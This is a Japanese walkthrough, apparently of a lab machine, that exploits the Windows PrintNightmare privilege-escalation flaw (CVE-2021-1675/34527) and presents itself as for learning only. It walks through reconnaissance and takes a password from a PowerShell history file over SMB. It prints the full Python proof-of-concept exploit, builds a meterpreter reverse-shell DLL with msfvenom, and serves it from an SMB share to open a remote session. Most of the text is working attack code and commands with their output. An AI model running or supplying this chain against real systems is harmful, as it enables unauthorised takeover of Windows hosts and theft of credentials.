投稿記事は、学習のため投稿しております。
本投稿内容を基に、商用環境への悪用は行わないでください。
概要
2021年6月9日に公開された脆弱性である権限昇格の脆弱性(CVE-2021-1675,CVE-2021-34527)について、PoCコードを基に攻撃例を紹介する記事となります。
偵察(Reconnaissance)
NMAPで使用されているサービスの調査
NMAPのコマンド
nmap -sV [標的のIPアドレス]
ポートスキャン結果
Starting Nmap 7.93 ( https://nmap.org ) at xxx
Nmap scan report for [標的のIPアドレス]
Host is up (0.028s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds
crackmapexecを用いたWindows Active Directoryの調査
crackmapexecを用いてWindows Active Directoryの情報収集
crackmapexec smb [標的のIPアドレス] --shares
crackmapexecの実行結果
SMB [標的のIPアドレス] 445 PRINTNIGHTMARE [*] Windows 10.0 Build 17763 x64 (name:PRINTNIGHTMARE) (domain:PrintNightmare) (signing:False) (SMBv1:False)
SMB [標的のIPアドレス] 445 PRINTNIGHTMARE [-] Error enumerating shares: [Errno 32] Broken pipe
netコマンドを用いた共有設定調査
netコマンドを使用して共有設定を確認する。
net -S [標的のIPアドレス] rpc SHARE
又は
net -S [標的のIPアドレス] rpc SHARE -U [標的のユーザ名]
netコマンドの実行結果
Password for [端末のドメイン]:
ADMIN$
C$
IPC$
[標的のファイル]
Users
初期アクセス(Initial Access)
SMB接続
SMBClientを用いてSMBに接続
smbclient //[標的のIPアドレス]/[標的の共有ファイル]
クレデンシャル情報の捜索
PowerShellのhistoryログ入手
smb: \> cd AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\
smb: \> dir
. D 0 Mon Nov 15 18:16:51 2021
.. D 0 Mon Nov 15 18:16:51 2021
ConsoleHost_history.txt A 164 Mon Nov 15 18:29:59 2021
SMBのgetコマンドでファイルを入手
get ConsoleHost_history.txt
以下ファイルを入手
cat ConsoleHost_history.txt
Get-FileHash .\[ファイル名]
whoami
winvnc -install -user [ユーザ名] -p "[パスワード]" -run
Get-Process
Get-OdbcDsn
Get-OffloadDataTransferSetting
CVE-2021-1675のPoCコード
CVE-2021-1675.py
#!/usr/bin/python3
from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.structure import Structure
import argparse
import sys
import pathlib
#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
class DRIVER_INFO_2_BLOB(Structure):
structure = (
('cVersion','<L'),
('NameOffset', '<L'),
('EnvironmentOffset', '<L'),
('DriverPathOffset', '<L'),
('DataFileOffset', '<L'),
('ConfigFileOffset', '<L'),
)
def __init__(self, data = None):
Structure.__init__(self, data = data)
def fromString(self, data, offset=0):
Structure.fromString(self, data)
self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le')
self['DataFileArray'] = self.rawData[self['DataFileOffset']+offset:self['DriverPathOffset']+offset].decode('utf-16-le')
self['DriverPathArray'] = self.rawData[self['DriverPathOffset']+offset:self['EnvironmentOffset']+offset].decode('utf-16-le')
self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']+offset:self['NameOffset']+offset].decode('utf-16-le')
#self['NameArray'] = self.rawData[self['NameOffset']+offset:len(self.rawData)].decode('utf-16-le')
class DRIVER_INFO_2_ARRAY(Structure):
def __init__(self, data = None, pcReturned = None):
Structure.__init__(self, data = data)
self['drivers'] = list()
remaining = data
if data is not None:
for i in range(pcReturned):
attr = DRIVER_INFO_2_BLOB(remaining)
self['drivers'].append(attr)
remaining = remaining[len(attr):]
def connect(username, password, domain, lmhash, nthash, address, port):
binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
rpctransport = transport.DCERPCTransportFactory(binding)
rpctransport.set_dport(port)
rpctransport.setRemoteHost(address)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(username, password, domain, lmhash, nthash)
print("[*] Connecting to {0}".format(binding))
try:
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(rprn.MSRPC_UUID_RPRN)
except:
print("[-] Connection Failed")
sys.exit(1)
print("[+] Bind OK")
return dce
def getDriver(dce, handle=NULL):
#get drivers
resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
blobs = DRIVER_INFO_2_ARRAY(b''.join(resp['pDrivers']), resp['pcReturned'])
for i in blobs['drivers']:
if "filerepository" in i['DriverPathArray'].lower():
return i
print("[-] Failed to find driver")
sys.exit(1)
def main(dce, pDriverPath, share, handle=NULL):
#build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2
container_info['DriverInfo']['tag'] = 2
container_info['DriverInfo']['Level2']['cVersion'] = 3
container_info['DriverInfo']['Level2']['pName'] = "1234\x00"
container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00"
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
filename = share.split("\\")[-1]
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage0: {0}".format(resp['ErrorCode']))
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\kernelbase.dll\x00"
for i in range(1, 30):
try:
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
if (resp['ErrorCode'] == 0):
print("[+] Exploit Completed")
sys.exit()
except Exception as e:
#print(e)
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help = True, description = "MS-RPRN PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
""")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
parser.add_argument('pDriverPath', action='store', help='Driver path. Example \'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL\'', nargs="?")
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group = parser.add_argument_group('connection')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = address
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
#connect
dce = connect(username, password, domain, lmhash, nthash, options.target_ip, options.port)
#handle = "\\\\{0}\x00".format(address)
handle = NULL
#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
if not options.pDriverPath:
try:
blob = getDriver(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
if not "FileRepository" in pDriverPath:
print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
print("[-] Specify pDriverPath manually")
sys.exit(1)
except Exception as e:
print('[-] Failed to enumerate remote pDriverPath')
print(str(e))
sys.exit(1)
else:
pDriverPath = options.pDriverPath
if "\\\\" in options.share:
options.share = options.share.replace("\\\\","\\??\\UNC\\")
print("[+] pDriverPath Found {0}".format(pDriverPath))
print("[*] Executing {0}".format(options.share))
#re-run if stage0/stageX fails
print("[*] Try 1...")
main(dce, pDriverPath, options.share)
print("[*] Try 2...")
main(dce, pDriverPath, options.share)
print("[*] Try 3...")
main(dce, pDriverPath, options.share)
git cloneでダウンロード
git clone https://github.com/cube0x0/CVE-2021-1675.git
脆弱なホストであるかどうかを調査するためスキャンを実施
※値が返された場合は、脆弱性である可能性がある。
rpcdump.py @[標的のIPアドレス] | egrep 'MS-RPRN|MS-PAR'
実行結果
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
実行(Execution)
metasploitでshellコードを作成する。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[端末のIPアドレス] LPORT=[ポート指定] -f dll -o shell.dll
shell.dllが作成される
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll
matasploitで待ち受け
msfconsole -q
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost tun0
lhost => tun0
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on 10.10.14.4:4444
端末側でsmbを設定
sudo smbserver.py -smb2support share .
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
CVE-2021-1675の実行
python3 CVE-2021-1675/CVE-2021-1675.py [標的のドメイン]/[入手したユーザ名]:'[入手したパスワード]'@[標的のIPアドレス] '\\[端末のIPアドレス]\share\shell.dll'
SMBへ接続後shall.dllを標的にダウンロードさせる
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra
[*] Config file parsed
[*] Callback added for UUID XXX V:3.0
[*] Callback added for UUID CCC V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection ([標的のIPアドレス],49673)
[*] AUTHENTICATE_MESSAGE (\,PRINTNIGHTMARE)
[*] User PRINTNIGHTMARE\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:share)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:share)
[*] Closing down connection ([標的のIPアドレス],49673)
[*] Remaining connections []
metasploitのコンソールで標的のWindowsにログイン
[*] Started reverse TCP handler on [端末のIPアドレス]:4444
[*] Sending stage (200774 bytes) to [標的のIPアドレス]
[*] Meterpreter session 1 opened ([端末のIPアドレス]:4444 -> [標的のIPアドレス]:49674) at xxxx
(Meterpreter 1)(C:\Windows\system32) > whoami